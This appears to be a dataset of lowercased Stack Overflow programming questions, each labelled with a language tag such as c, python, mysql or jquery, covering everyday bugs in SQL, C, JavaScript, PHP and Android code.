error with arithmetic calculation  i m trying to calculate 2 retrieved values from <code>nsmutablearray</code> but there was error during runtime pointing to the way the arithmetic calculation was done.    the code that inserts the value:   <pre><code>nsstring *lastex = @ none ; int lastscore = 0; int tries = 0; int total_score = 0; int avg = 0; int credit = 100;  [data addobject:lastex]; [data addobject:[nsnumber numberwithint:lastscore]]; [data addobject:[nsnumber numberwithint:tries]]; [data addobject:[nsnumber numberwithint:total_score]]; [data addobject:[nsnumber numberwithint:avg]]; [data addobject:[nsnumber numberwithint:credit]]; </code></pre>   code to retrieve:   <pre><code>nsmutablearray *savedstock = [[nsmutablearray alloc] initwithcontentsoffile:path];  previousexercise.text = [savedstock objectatindex:0];  nsstring *lastscoring = [nsstring stringwithformat:@ %d   [[savedstock objectatindex:1] intvalue]]; previousscore.text = lastscoring;  nsstring *totaltries = [nsstring stringwithformat:@ %d   [[savedstock objectatindex:2] intvalue]]; attempts.text = totaltries;  nsstring *average = [nsstring stringwithformat:@ %d   [[savedstock objectatindex:4] intvalue]]; avgscore.text = average;  int totalscore = [[savedstock objectatindex:3] intvalue]; int numberoftries = [[savedstock objectatindex:2] intvalue]; int avg;  avg = ((totalscore / numberoftries) * 100);  nsstring *rem_credit = [nsstring stringwithformat:@ %d   [[savedstock objectatindex:5] intvalue]]; credits.text = rem_credit; </code></pre>   error is the calculation of  => <code>avg = ((totalscore / numberoftries) * 100);</code>    thanx in advance...,objective-c
can t get text on same line as counter using <div></div>  using the html code below:    <pre><code>&lt;font face= verdana  size= 3  color= #666666 &gt;&lt;div id= result   &amp;nbsp;&amp;nbsp; downloads&gt;&lt;/div&gt;&lt;/font&gt; </code></pre>   i can get the number of downloads to show from the counter  i.e.   result   but can t get the word  download  to follow on the same line.  if i place the <code>&lt;/div&gt;</code> after the counter  then  download  shows on the next line.  somehow  <code>&lt;/div&gt;</code> seems like a <code>&lt;br&gt;</code> command     when done  the goal is to show the following:    36 downloads,html
custom iphone app that adds icon/weblink to desktop  i need to create a super basic script package that will install like a regular iphone app but only puts an icon on the user s desktop that links to a mobile website that i specify. i m a php developer and am slightly familiar with java but simply need a boost due to time constraints. any help is much appreciated.    thanks!,iphone
pass this element into a function from ng-class  i want to pass <code>this</code> element to my validator. tried <code>this</code>  but it passes a scope of the controller. how to change the code to get into my <code>div</code>    <pre><code>&lt;div data-ng-class= !validators.headerimagevalidator(this)    has-error  :    &gt;&lt;/div&gt; </code></pre>,angularjs
pass two string variables to a jquery method while binding  this is the function which i need to call   <pre><code>function printexpectationreport(interest  influence) {} </code></pre>   a and b are two string variables  when i click it  console gives error as a and b not defined.    if any one has an idea how i should bind the  variables for the string.  it will be much helpfull.   <pre><code> tabledata +=  &lt;div class= count-expectation &gt;&lt;a onclick= printexpectationreport( +a+   +b+ ) href= # &gt;  + arrayfound.length +  &lt;/div&gt; ; </code></pre>,jquery
operator precedence in c with % != = and      in code snippet below   <pre><code>int jo=50; if( jo =(rand()%100)  jo!=50) {     printf( !50 ); }    </code></pre>  <ol> <li>% has highest precedence so rand()%100 will get executed first</li> <li>!= has the precedence greater than = so jo != 50 should get execute right  </li> <li>  has the least precedence still when i execute assignment occurs first then != and then   . i get an output !50 why   </li> </ol>,c
can i use replace with a where clause in mysql   something like:   <pre><code>replace into vips set active = 0  inactive = 0 where ip = 3494220867 and proto =  https ; </code></pre>,mysql
my activity turn out to be wrong  i really don t know how to solve this  i have found many many solutions but still it does not work.    my problem is after my activiy jump to tabhost  the tab pageview turn out blank  but when i switch the tab  it s turn normal.     i guess the date has ready when the activity first jump  but why it doesn t show normal     any help will very appreciate..    this it the activity where the jumped tabhost at.   <pre><code>public class listcontainactivity extends fragmentactivity{      public static final string tag =  coolsmile_debug ;     private  tabhost tabhost ;     contexttask contexttask ;     string mstring=  ;      @override     protected void oncreate(bundle savedinstancestate) {         // todo auto-generated method stub         super.oncreate(savedinstancestate);         this.requestwindowfeature(window.feature_no_title);         setcontentview(r.layout.showcontain);         progressrefresh();     }      private void initui(){         getintentextra();         log.v(tag   ----------- initui start ----------- );         inittabhost();     }      private void inittabhost(){          log.v(tag   ----------- inittabhost start ----------- );         tabhost.tabspec spec;            tabhost = (tabhost) findviewbyid(android.r.id.tabhost);         tabhost.setup();          spec=tabhost.newtabspec( refresh ).setindicator( refresh ).setcontent(r.id.contain_tab0);         tabhost.addtab(spec);            spec=tabhost.newtabspec( love ).setindicator( love ).setcontent(r.id.contain_tab1);           tabhost.addtab(spec);            spec=tabhost.newtabspec( comment ).setindicator( comment ).setcontent(r.id.contain_tab2);           tabhost.addtab(spec);            spec=tabhost.newtabspec( onward ).setindicator( onward ).setcontent(r.id.contain_tab0);           tabhost.addtab(spec);            spec=tabhost.newtabspec( goback ).setindicator( goback ).setcontent(r.id.contain_tab1);          tabhost.addtab(spec);            initclicklistener();     }     private void progressrefresh(){                  log.v(tag   ----------- progress_refresh start ----------- );         contexttask = new contexttask(0);          taskhost taskhost = new taskhost(){              @override             public void onpreexecute(int requestcode) {                 // todo auto-generated method stub                 super.onpreexecute(requestcode);                 log.v(tag   ----------- progress_refresh.onpreexecute() start ----------- );                 initui();             }              @override             public void onpostexecute(int requestcode  string result) {                 // todo auto-generated method stub                 super.onpostexecute(requestcode  result);                  log.v(tag   ----------- progress_refresh.onpostexecute() start ----------- +result);                  textview txt = (textview)findviewbyid(r.id.text_result);                 txt.settext( doinbackground result : +result);                 textview txt1 = (textview)findviewbyid(r.id.text_refresh);                 txt1.settext( hello my name is  +mstring);             }         };         contexttask.settaskhost(taskhost);         contexttask.setprogress(new simpledialogprogress(this  正在获取数据... ));         contexttask.execute();             }      private void initclicklistener(){          log.v(tag   ----------- initclicklistener start ----------- );          radiogroup radiogroup=(radiogroup) this.findviewbyid(r.id.main_tab);           radiogroup.setoncheckedchangelistener(new oncheckedchangelistener() {                @override               public void oncheckedchanged(radiogroup group  int checkedid) {                   // todo auto-generated method stub                   switch (checkedid) {                       case r.id.main_tab_addhome:                         tabhost.setcurrenttabbytag( refresh );                           break;                     case r.id.main_tab_addexam:                           tabhost.setcurrenttabbytag( love );                           break;                       case r.id.main_tab_myexam:                           tabhost.setcurrenttabbytag( comment );                           break;                       case r.id.main_tab_message:                          tabhost.setcurrenttabbytag( onward );                           break;                       case r.id.main_tab_settings:                         tabhost.setcurrenttabbytag( goback );                           break;                       default:                           tabhost.setcurrenttabbytag( refresh );                           break;                   }               }           });                   }      private void getintentextra(){         intent intent = getintent();         mstring = intent.getextras().getstring( presidents_content );     }  } </code></pre>,android
typeerror: deafultdict must have first arguments callable <pre><code>def parse_neighbors(neighbors  vars):        convert a string of the form  x: y z; y: z  into a dict mapping     regions to neighbors.  the syntax is a region name followed by a  :      followed by zero or more region names  followed by  ;   repeated for     each region name.  if you say  x: y  you don t need  y: x .     &gt;&gt;&gt; parse_neighbors( x: y z; y: z )     { y : [ x    z ]   x : [ y    z ]   z : [ x    y ]}             dict = defaultdict([])     for var in vars:         dict[var] = []     specs = [spec.split( : ) for spec in neighbors.split( ; )]     for (a  aneighbors) in specs:         a = a.strip();         dict.setdefault(a  [])         for b in aneighbors.split():             dict[a].append(b)             dict[b].append(a)     return dict </code></pre>   when i am calling this snippet from aima book  like below:    neigh = parse_neighbors(constr  vars)    where constr is a string and vars is a neighbour     i am getting below error:  dict = defaultdict([]) typeerror: first argument must be callable    please help!!!,python
sql equivalence multiple or s vs several in s  given the same rows in the table. is this sql query:   <pre><code>select * from table where (a in (0 1) and b in (0 2) and c in (0 3)) </code></pre>   logically equivalent to this one:   <pre><code>select * from table where (a = 0 and b = 0 and c = 0) or  (a = 1 and b = 0 and c = 0) or  (a = 0 and b = 2 and c = 0) or  (a = 0 and b = 0 and c = 3) or  (a = 1 and b = 2 and c = 0) or  (a = 0 and b = 2 and c = 3) or  (a = 1 and b = 0 and c = 3) or  (a = 1 and b = 2 and c = 3); </code></pre>,sql
python: determining if a number is prime  i am new to python and i m attempting to write a code that checks to see whether or not a number is prime. so far  i ve written this:   <pre><code>def main():      n = input( enter number: )      isprime(n)  def isprime():     x = prime     for m in range (1 n+1 1)         result = n % m         print result   main() </code></pre>   i m not sure how to proceed after this. i know i have to define <em>isprime</em>. any help would be greatly appreciated. thank you!,python
widgets in android onload method()   is there any onload() method or something after you attach a widget on the screen to pop up something else inandroid,android
predefined function in c++  this is my first time on this web site. i have been having a problem but i haven`t been able to figure it out. i have been trying to implement a predefined function into my code but i am not sure how to do so. in my task i was given an open brief asking me simply to design a password protected calculator. i designed the calculator and handed it in to my teacher. he then asked me to add a predefined function. now i am not sure how to do this or even how i would start. could any one give me some example of a predefined function similar to my code.   <pre><code> #include &lt;iostream&gt;  using namespace std;  int main() {  char op;  float num1  num2;  int correct_password = 1998;  int password = 0;  int counter = 0;  int attempt = 0;   while (attempt &lt;= 3) {   cout &lt;&lt;  enter your password:  ;   cin &gt;&gt; password;   attempt = attempt + 1;    if (password != correct_password) {    cout &lt;&lt;  incorrect password combination. please try again.  &lt;&lt;  \n  &lt;&lt; endl;   } else {    break;   }  }  if (attempt &gt;= 3) {   return 0;  }   cout &lt;&lt;  access granted.  &lt;&lt; endl;   //asks you to enter an operator to use in your calculation  cout &lt;&lt;  enter operator either + or - or * or /:  ;  cin &gt;&gt; op;   //asks you to enter 2 numbers  cout &lt;&lt;  enter two operands:  ;  cin &gt;&gt; num1 &gt;&gt; num2;   //searches for which operator you have selected and either *-+/ the number depending on choice  switch (op) {  case  + :   cout &lt;&lt; num1 + num2;   break;   case  - :   cout &lt;&lt; num1 - num2;   break;   case  * :   cout &lt;&lt; num1 * num2;   break;   case  / :   cout &lt;&lt; num1 / num2;   break;    //if entered operator is incorrect closes down the program  default:   cout &lt;&lt;  error! operator is not correct ;   break;  }   return 0; } </code></pre>   sorry for the trouble. i am not quite sure if i am going about asking this the right way. so i will apologies before hand if i am not specific enough or if i am doing ti wrong :).,c++
how do i view the contents of an ibdata file   given an <code>mysql</code> <code>ibdata</code> file (originally located at <code>/var/lib/mysql/</code> on an ubuntu server)  is there any way to view it in a human readable format.     i understand that it s not possible to convert it to a csv. it appears to be some kind of hex format.    and from what i understand  the <code>ibdata</code> file is basically the steps it would take to get the database back to it s current state.     essentially i would like to view each of those steps. i don t have the associated <code>.frm</code> files for the tables.,mysql
java.lang.noclassdeffounderror  i am geting following error am i missing some jar file    <pre><code>exception in thread  main  java.lang.noclassdeffounderror: org/apache/commons/logging/logfactory         at org.slf4j.impl.jclloggerfactory.getlogger(jclloggerfactory.java:69)         at org.slf4j.loggerfactory.getlogger(loggerfactory.java:243)         at org.smslib.helper.logger.&lt;init&gt;(logger.java:34)         at org.smslib.service.&lt;init&gt;(service.java:93)         at sendmessage.doit(sendmessage.java:28)         at sendmessage.main(sendmessage.java:82) caused by: java.lang.classnotfoundexception: org.apache.commons.logging.logfactory         at java.net.urlclassloader$1.run(urlclassloader.java:200)         at java.security.accesscontroller.doprivileged(native method)         at java.net.urlclassloader.findclass(urlclassloader.java:188)         at sun.misc.launcher$extclassloader.findclass(launcher.java:229)         at java.lang.classloader.loadclass(classloader.java:307)         at java.lang.classloader.loadclass(classloader.java:252)         at java.lang.classloader.loadclassinternal(classloader.java:320)         ... 6 more java result: 1 </code></pre>,java
get sender s tag of a programmatically set button ios  i wish to get the sender s tag of a programmatically set button. i have set many buttons with tags programmatically and when the app is running and one of the buttons is tapped i wish to get the sender s tag back.,ios
create a unique file and filename based on every unique value in a column in a datatable with .net  i am trying to create a file with a file name based on the value in a column in a datatable  for example:     <pre><code>dim userid as string = string.empty   userid = dt.rows.item(0).item(0)   using sw as streamwriter = new streamwriter( c:\  + userid +  _file.txt ) </code></pre>   but i am having trouble with the logic that would create a new file when the userid changes in the dataset  basically i want a unique file for every userid.,.net
javascript function giving uncaught reference error while getting the value of text box  i am trying make <em>textbox</em> blank and set focus on it using java script.<br>i used following            code for that   <pre><code>document.getelementbyid( textmob )=  ; document.getelementbyid( textmob ).focus; </code></pre>   but i get following error:   <pre><code>uncaught referenceerror: invalid leftend side assignment; </code></pre>   my html code   <pre><code>&lt;asp:textbox id= mob  runat= server  cssclass= text  autopostback= true  onchange =  validatemob(this)  &gt;&lt;/asp:textbox&gt;  </code></pre>   my validation function   <pre><code> function validatemob(txtmob)            {             debugger;             var rx = /^\d{10}$/;             if (!txtmob.value.match(rx)) {                alert( invalid mobile no );                // document.getelementbyid( mob ) =   ;               document.getelementbyid( mob ).focus();             }         } </code></pre>,javascript
set cookie then redirect to another domain  i m not sure if i m doing something wrong in my code or if my desired action is just not allowed in the standards...i m trying to set a cookie on my localhost then redirect the user off to another domain. (for some background on why i would want to do this: as part of the oauth 1.0 signin process i want to set the oauth state then redirect the user off to the service provider to signin; but this is not really relevant to my question - it just may be useful in case someone wants to suggest a better way to do what i am trying to do...)    here is a simpified version of the relevant piece of my php code:   <pre><code>setcookie( oauth_state    one   time() + 60*60   /    localhost   false  false); header( location: http://google.com/ ); exit; </code></pre>   i m testing on firefox 10.0.2 on ubuntu and no cookie at localhost is being set. what am i doing wrong,php
c language two dimensional array wrong output values  i want to write a program in c that takes the name of a student it s age and some grades and put those in a two dimensional array  i input the first name as bigfirstname   the last name as biglastname  the age as 18  the math grade as 100  the physics grade 100  and the average of the two 100 but it dosen t print them out like that  instead it prints:   <pre><code>bigfirstbiglastn18 biglastn18 18 100 100 100 </code></pre>   here is my code:   <pre><code>#include &lt;stdio.h&gt;  char *grades[1][6]; int line=0; int column=0;  int main(void) {   printf( input firstname \n );   scanf(  %s  &amp;grades[line][column]);   column+=1;    printf( input lastname \n );   scanf(  %s  &amp;grades[line][column]);   column+=1;    printf( input age  );   scanf(  %s  &amp;grades[line][column]);   column+=1;    printf( input math grade \n );   scanf(  %s  &amp;grades[line][column]);   column+=1;    printf( input physics grade \n );   scanf(  %s  &amp;grades[line][column]);   column+=1;    printf( input average bettween the two \n );   scanf(  %s  &amp;grades[line][column]);   column+=1;    int p;   for (p=0;p&lt;7;p++){     printf ( %s\n  &amp;grades[0][p]);   }   return 0; } </code></pre>,c
anyone tried to bulk upload device udids to the iphone dev portal   i m trying to add 50 beta testers to my app through ad hoc. in the portal  it gives you an option to upload a file for udids. what format should it be  also  it mentioned that you are only limited to 100 devices per year and they cannot be changed. does this mean once i added my beta testers  they cannot be changed forever  even for other apps,iphone
troubles trying to sort a list with a specific pattern  i m on a programming exercise and i got some troubles writing a function to insert sorted in a list: i have the following code:   <pre><code>void node::insertnew(object* obj) {     list&lt;object*&gt;::iterator iter = listobjects.begin();     while (it != listobjects.end() &amp;&amp; (*it)-&gt;getfrecuency() &gt; obj-&gt;getfrecuency()) {         it++;     }     if (it != listobjects.end() &amp;&amp; (*it)-&gt;getfrecuency() != obj-&gt;getfrequency()) {         while (it != listobjects.end() &amp;&amp; (*it)-&gt;getname() &lt; obj-&gt;getname()) {             it++;         }         listobjects.insert(it  obj);     }  } </code></pre>   i want insert sorted  in first place  by frecuency (from highest to lowest) and in case of tie  by name (from lowest to highest alphabetically). but i m sure that i m doing something wrong. hope you can help me  sorry for bad english. thanks.,c++
c# same native dll s but different versions  i have two .net dll (a.dll  b.dll) and these dll s have not been developed by me.     these dll s are using swresample-0.dll and swscale-2.dll. however they are not same version. for example a.dll (managed) is required swresample-0.dll and swscale-2.dll (ver 1.x) . b.dll (managed) is required same dll s but different version(ver 2.x). if i use ver 1.x b.dll throws exception ( could not install their dependencies)  same way if i use ver 2.x a.dll throws same exception.    so  i can not change native dll s names because of have not been developee by me. what is the best way to resolve this problem. i have searched application.domain however it was not solution for me.,.net
pick first result from multiple matches when using where  i m facing a  problem  when performing an area search based on zip codes  longitudes and latitudues with mysql. but there exist <strong>duplicate zip codes</strong> within a country.    i m currently performing a first query  to check for multiple results and pick the first one (as they only have a very small difference in distance). but i want to do it in one query.    is there a way  to <strong>ignore multiple matches when using where</strong> or simply <strong>pick the first one</strong>.    this is what i have so far:   <pre><code>select     u.name      dest.zc_zip      dest.zc_location_name      acos(          sin(radians(src.zc_lat)) * sin(radians(dest.zc_lat))          + cos(radians(src.zc_lat)) * cos(radians(dest.zc_lat))          * cos(radians(src.zc_lon) - radians(dest.zc_lon))     ) * 6380 as distance from zip_coordinates dest cross join zip_coordinates src cross join users u where src.zc_id = 2 /* searching for id */ and u.zip = dest.zc_zip and u.city = dest.zc_location_name having distance &lt; 100 order by distance; </code></pre>   here i want to change <code>src.zc_id = 2</code> to something like <code>src.zc_zip = xxxx</code>    <strong>edit:</strong>    i also created a sql fiddle: <a href= http://sqlfiddle.com/#!2/5fb6a/3  rel= nofollow >http://sqlfiddle.com/#!2/5fb6a/3</a>,mysql
c stat() failing on files in hidden folder  this is a piece of my code. it works fine if i use opendir on just  .   but when i try and open /.hidden  the stat fails. does stat not work on files in a hidden folder  or am i doing something wrong    <pre><code>direc = opendir( ./.hidden );  if(direc ==null) {     perror( opendir failed );  }  while((curr_file=readdir(direc))) {     if(( strcmp(curr_file-&gt;d_name  . )!=0 &amp;&amp; strcmp(curr_file-&gt;d_name  .. )!=0))     {         strcpy(file_name  . );         strcat(file_name  / );         strcat(file_name curr_file-&gt;d_name);         if(stat(file_name &amp;statp))         {             perror( stat failed );         } </code></pre>,c
creating an array of objects with their own properties in javascript <pre><code>var i;       var book = new array();     var book[0] = [title:  1984   author:  george orwell   publisher:  harvill secker   price:  €8.99 ];     var book[1] = [title:  metro 2033   author:  dmitry glukhovsky   publisher:  orionbooks   price:  €12.99 ];     var book[2] = [title:  always outnumbered  always outgunned   author:  walter mosley   publisher:  w. w. norton &amp; company   price:  €5.99 ];         var book[3] = [title:  journey to the center of the earth   author:  jules verne   publisher:  pierre jules hetzel   price:  €4.99 ]; </code></pre>   i m trying to figure out how to make an array of objects that have their own properties but this doesn t seem to work. i can t understand what s going on.    edit:   <pre><code>    var i;     var book = new array();     book[0] = {title:  1984   author:  george orwell   publisher:  harvill secker   price:  €8.99 };     book[1] = {title:  metro 2033   author:  dmitry glukhovsky   publisher:  orionbooks   price:  €12.99 };     book[2] = {title:  always outnumbered  always outgunned   author:  walter mosley   publisher:  w. w. norton &amp; company   price:  €5.99 };         book[3] = {title:  journey to the center of the earth   author:  jules verne   publisher:  pierre jules hetzel   price:  €4.99 };      for (i = 0; i &lt; 4; i++)     {         document.write( book:   + book[i].title +  author:   + book[i].author  publisher:   + book[i].publisher +  price:   + book[i].price);     } </code></pre>   this is the updated code. this still doesn t work.    edit 2: was missing a  +  in the document.write.,javascript
why my program is showing wrong output in c  i want a program in which the user will give three names and they will be printed in result.    i declared a string  name  and also declared that  name  variable as an array(or i wanted to)    but when i run the program the output i get is weird  it only accepted one name i thought it had something to do with array declaration so i changed  char name[3][20];  to  char name[20][3];  but nothing changed..    please help me..    program:   <pre><code>#include&lt;stdio.h&gt; #include&lt;conio.h&gt; struct variable { char name[3][20]; }v; void main() {     int i=0 j=0;     clrscr();     printf( enter three names \n );     for(i=0;i&lt;3;i++)         {         scanf( %c  &amp;v.name[i]);         }     for(j=0;j&lt;3;j++)         {         printf( %c\t  v.name[i]);         } getch(); } </code></pre>   output image :-> <a href= https://i.stack.imgur.com/gxzxq.jpg  rel= nofollow noreferrer >here</a>,c
multi-table sql query - in operator  i have 2 tables  i must us a query with the in operator to come up with an answer. i am getting invalid character responses in oracle. thanks for any help!    question - find the book title for each book written by author number 18. use the in operator in your query.     what i seem to have so far:   <pre><code>select title  from book  where author_num in  {select author_num  from wrote  where author_num =  18 }; </code></pre>   the title column is in the book table  and the author_num column is in the wrote table. sorry if i left out any info  any pointing in the right direction would be appreciated!,sql
window.open not working when window.location does <pre><code>     $&lt;input class= cartbutton  type= button  onclick= window.open= /cart.php a=add&amp;pid=1   value= order now » &gt; </code></pre>   unfortunately window.open is not working  however the exact same code with window.location works fine. any suggestions,javascript
how to check application installed application in iphone deveice using iphone sdk  i am developing an application in which i need to find the apps which are already installed in iphone device such as skype  facebook. i need to check it using objective -c . please give me code snippet if possible otherwise a link to get the solution. is it possible or not.    thanks in advance ......,iphone
ready to use treepanel like in duolingo   i m looking for concept how to do tree panel like in <a href= http://duolingo.com/  rel= nofollow >http://duolingo.com/</a>,css
why is the val() function returning [object object]   html code:    <pre><code>   &lt;div data-role= popup  id= popup-activity &gt;         &lt;div data-role= header &gt;             &lt;h1&gt;error&lt;/h1&gt;         &lt;/div&gt;         &lt;div data-role= content  data-theme= d  class= ui-corner-bottom ui-content &gt;             &lt;h3 id= error  class= ui-title &gt;&lt;/h3&gt;           &lt;/div&gt;     &lt;/div&gt; </code></pre>   jquery:   <pre><code> $( #error ).val( please select activity );                       alert($( #error ));  $( #popup-activity ).popup( open ); </code></pre>   hi i m new to jquery.    i m using jquery.mobile-1.2.0-alpha.1.js which allows popups as in the above description. when i open the popup the value in the error id does not show up. in fact it shows empty. so i ve put an alert box to see its value which says [object object].    does anyone know how to display the text in the popup,jquery
how to identify if all numbers in list are the same or different if the list length is unknown (python)   i m using python and i m trying to figure out how to ascertain whether all numbers in a list are the same or different (even with just one integer being different) if beforehand i don t know the total number of elements in the list. initially i wrote something like:   <pre><code>def equalornot(lst):     if sum(lst)%len(lst)==0:          return false     else:          return true </code></pre>   but it s not working in all cases. any suggestions  thanks,python
sql: difference between two count query  i work on a sql problem on this <a href= https://www.hackerrank.com/challenges/weather-observation-station-4  rel= nofollow noreferrer >link</a>. in short  you have one table named <code>station</code>. in this table  the schema is:    <pre><code>id: int city: varchar(21) </code></pre>   city column can be duplicated. the question is: difference between total cities (with duplication) and total cities without duplication. here is my code:   <pre><code>select  (select count(*) from station) -   (select count(*) from (select city from station group by city) as c); </code></pre>   in short  i use two query: one is sum all and one is sum with <code>group by</code> city and then count again on that query. (little complicated). here is the answer:   <pre><code>select count(city)- count(distinct city) from station; </code></pre>   my question is: at second query  how many query will database really execute. is only one or two queries as my code. if there are two queries  which condition can we write same query in same <code>from</code> clause,sql
how to select consecutive dates   i have query that goes like that :   <pre><code>select  distinct          s.date1 as date1           s.date2 as date2          s.period as period  from portfolio.scenario s   where s.date1 &gt;=  2010-06-01  and       s.date2 &lt;=  2010-07-01  and       s.period =  week  </code></pre>   the output is :   <pre><code> 2010-06-01 00:00:00   2010-06-08 00:00:00  week  2010-06-02 00:00:00   2010-06-09 00:00:00  week  2010-06-03 00:00:00   2010-06-10 00:00:00  week  2010-06-04 00:00:00   2010-06-11 00:00:00  week  2010-06-07 00:00:00   2010-06-14 00:00:00  week  2010-06-08 00:00:00   2010-06-15 00:00:00  week  2010-06-09 00:00:00   2010-06-16 00:00:00  week  2010-06-10 00:00:00   2010-06-17 00:00:00  week  2010-06-11 00:00:00   2010-06-18 00:00:00  week  2010-06-14 00:00:00   2010-06-21 00:00:00  week  2010-06-15 00:00:00   2010-06-22 00:00:00  week  2010-06-16 00:00:00   2010-06-23 00:00:00  week  2010-06-17 00:00:00   2010-06-24 00:00:00  week  2010-06-18 00:00:00   2010-06-25 00:00:00  week  2010-06-21 00:00:00   2010-06-28 00:00:00  week  2010-06-22 00:00:00   2010-06-29 00:00:00  week  2010-06-23 00:00:00   2010-06-30 00:00:00  week  2010-06-24 00:00:00   2010-07-01 00:00:00  week </code></pre>   what i need are only the consecutive dates startest with earliest date1 ;   <pre><code>     2010-06-01 00:00:00   2010-06-08 00:00:00  week      2010-06-08 00:00:00   2010-06-15 00:00:00  week      2010-06-15 00:00:00   2010-06-22 00:00:00  week      2010-06-22 00:00:00   2010-06-29 00:00:00  week </code></pre>   appreciate any help on the topic :),mysql
why in c language eof is -1   in c language i am using eof .....why eof is -1   why not other value,c
arithmetic in c not evaluating  i ve got this piece of code which calculates the monthly tax of an employee s salary. when i run it  everything seems to work fine until the point in the if clause.    if i supply basicsalary as 50000 and all the other input values as 0  the monthlytax figure comes zero when it should be around 4000.    could anybody explain me why this is happening    <pre><code>#include &lt;stdio.h&gt;  int main() {     int basicsalary  allowances  transportallowance  numberofdependants  deduction;     float monthlytax  income;      printf( enter basic salary amount:  );     scanf( %d   &amp;basicsalary);      printf( \nenter allowances amount:  );     scanf( %d   &amp;allowances);      printf( \nenter transportallowance amount:  );     scanf( %d   &amp;transportallowance);      printf( \nenter number of dependants:  );     scanf( %d   &amp;numberofdependants);      switch (numberofdependants)     {            case 0:                 deduction = 215000;                 break;            case 1:                 deduction = 325000;                 break;            case 2:                 deduction = 415000;                 break;            case 3:                 deduction = 475000;                 break;            default:                    printf( number of dependants can only be between 0 - 3  enter a proper value. );                    return 1;     }      income = basicsalary * 13 + allowances + (transportallowance - 6800) * 12 - deduction;      if (income &lt; 500000)     {         monthlytax = ((15/100) * (income/12));     }     else     {           monthlytax = ((15/100) * (500000/12)) + ((30/100) * ((income-500000)/12));     }      monthlytax = monthlytax/12;      printf( \nmothly tax amount is %f   monthlytax);     getch();      return 0; } </code></pre>,c
overriding a standard function behaves unexpectedly  [update] 2016.07.02    main.c   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  size_t strlen(const char *str) {     printf( %s\n   str);     return 99; } int main() {     const char *str =  aaa ;     size_t a = strlen(str);     strlen(str);     size_t b = strlen( bbb );     return 0; } </code></pre>   the expected output is    <pre><code>aaa aaa bbb </code></pre>   compile with gcc -o0 -o main main.c :   <pre><code>aaa </code></pre>   compile with gcc -o3 -o main main.c   <pre><code>aaa aaa </code></pre>   the corresponding asm code with flag -o0   <pre><code>000000000040057c &lt;main&gt;: 40057c: 55                      push   %rbp 40057d: 48 89 e5                mov    %rsp %rbp 400580: 48 83 ec 20             sub    $0x20 %rsp 400584: 48 c7 45 e8 34 06 40    movq   $0x400634 -0x18(%rbp) 40058b: 00  40058c: 48 8b 45 e8             mov    -0x18(%rbp) %rax 400590: 48 89 c7                mov    %rax %rdi 400593: e8 c5 ff ff ff          callq  40055d &lt;strlen&gt; 400598: 48 89 45 f0             mov    %rax -0x10(%rbp) 40059c: 48 c7 45 f8 03 00 00    movq   $0x3 -0x8(%rbp) 4005a3: 00  4005a4: b8 00 00 00 00          mov    $0x0 %eax 4005a9: c9                      leaveq  4005aa: c3                      retq    4005ab: 0f 1f 44 00 00          nopl   0x0(%rax %rax 1) </code></pre>   and with -o3 :   <pre><code>0000000000400470 &lt;main&gt;: 400470: 48 83 ec 08             sub    $0x8 %rsp 400474: bf 24 06 40 00          mov    $0x400624 %edi 400479: e8 c2 ff ff ff          callq  400440 &lt;puts@plt&gt; 40047e: bf 24 06 40 00          mov    $0x400624 %edi 400483: e8 b8 ff ff ff          callq  400440 &lt;puts@plt&gt; 400488: 31 c0                   xor    %eax %eax 40048a: 48 83 c4 08             add    $0x8 %rsp 40048e: c3                      retq    </code></pre>   with the flag -o0  why is the second and third call to strlen did not call the user defined strlen      and with -o3  why is the third call to strlen been optimized out,c
toggle between divs inside another div using jquery   so i have a div that can have several divs inside of it. something like:   <pre><code>&lt;div id= news &gt;              &lt;span&gt;latest news!&lt;/span&gt;            &lt;div&gt;         //news 1         &lt;/div&gt;     &lt;div&gt;         //news 2     &lt;/div&gt; &lt;/div&gt; </code></pre>   what i m trying to do is on page load  the first div is visible  then after so many seconds  it fades out and the second div fades in.  pretty simple with fadein and fadeout but i have to specifiy each div s actions.  is there a way to say  toggle between every div inside my #news div   this way i can add new divs without having to add code to hide/show them     thanks!,jquery
script for upload images not work  i need a cms for make a manga reader  so i bought php manga: <a href= http://codecanyon.net/item/php-manga-manga-reader-website-solution/full_screen_preview/10102963  rel= nofollow >http://codecanyon.net/item/php-manga-manga-reader-website-solution/full_screen_preview/10102963</a>    the problem is that manga images are not uploaded in order. for example  if i select and upload images (or pages) 1  2  3... he upload the images in 3 1 2 or so on.    sadly they doesn t offer support anymore  and when i decided to buy it i didn t knew since i was unable to access to their forum without a license. so i need to fix this problem on my own.    this is the input form:   <pre><code>&lt; php echo form::input( uploaderinput   r( uploaderinput )  array( type =&gt; file    data-href =&gt;url( admin/base64 )   data-dir =&gt; upload/manga/ .$thismanga[ slug ]. /    id =&gt; inputuploader    class =&gt; form-control     multiple ))  &gt; </code></pre>   this is the template   <pre><code>$template-&gt;customjs .=  $( #chapternumber ).on( keyup   function(){                             $( #chapterinfodiv ).show();                         });                           function readimage(input) {                             for(var i=0 file; file = input.files[i]; i++) {                                 var fr = new filereader();                                 fr.onload = function(e) {                                     var base64 = e.target.result                                          h = $( #inputuploader ).data( href )                                          d = $( #inputuploader ).data( dir )+$( #chapternumber ).val()                                          options = {                                             type:  post                                               url: h                                              data: { base64 : base64   dir : d }                                              datatype:  json                                               success: function(response) {                                                 if(response.s ==  ko ){                                                   alert(response.m);                                                 }else if(response.s ==  ok ){                                                   $( textarea#inputcontent ).val($( textarea#inputcontent ).val()+  +response.m+ ; );                                                 }                                             }                                         };                                       $.ajax(options);                                 };                                        fr.readasdataurl( input.files[i] );                             }                         }                          $( #inputuploader ).change(function(){                             readimage( this );                         });                           ; </code></pre>   this is the function   <pre><code>    function secure_img_upload($file  $path  $options = array()){  // handle options  $validextensions = isset($options[ validextensions ])   $options[ validextensions ] : array( jpg    jpeg    png );  $surfix = isset($options[ surfix ])   $options[ surfix ] :   ;   // handles files  $tempfile           =    $file[ tmp_name ];  $filename         =    $file[ name ];  $extension    =   explode( .   $filename);  $extension    =    strtolower(end($extension));  $imagename        =    sha1($filename.uniqid());  $destination  =   rtrim($path   / ). / .$imagename.$surfix. . .$extension;   if(in_array($extension  $validextensions)) {      $validextension        =    true;      } else {      $validextension        =    false;      }   // run getimagesize function to check that we re really getting an image  if(getimagesize($tempfile) == false) {      $validimage        =    false;      } else {      $validimage        =    true;      }   if($validextension == true &amp;&amp; $validimage == true) {      if(move_uploaded_file($tempfile  $destination)) {       return $destination;      }else{       return array( s =&gt; ko    m =&gt;t( invalid path. ));      }     }else{      return array( s =&gt; ko    m =&gt;t( invalid extension. ));     } 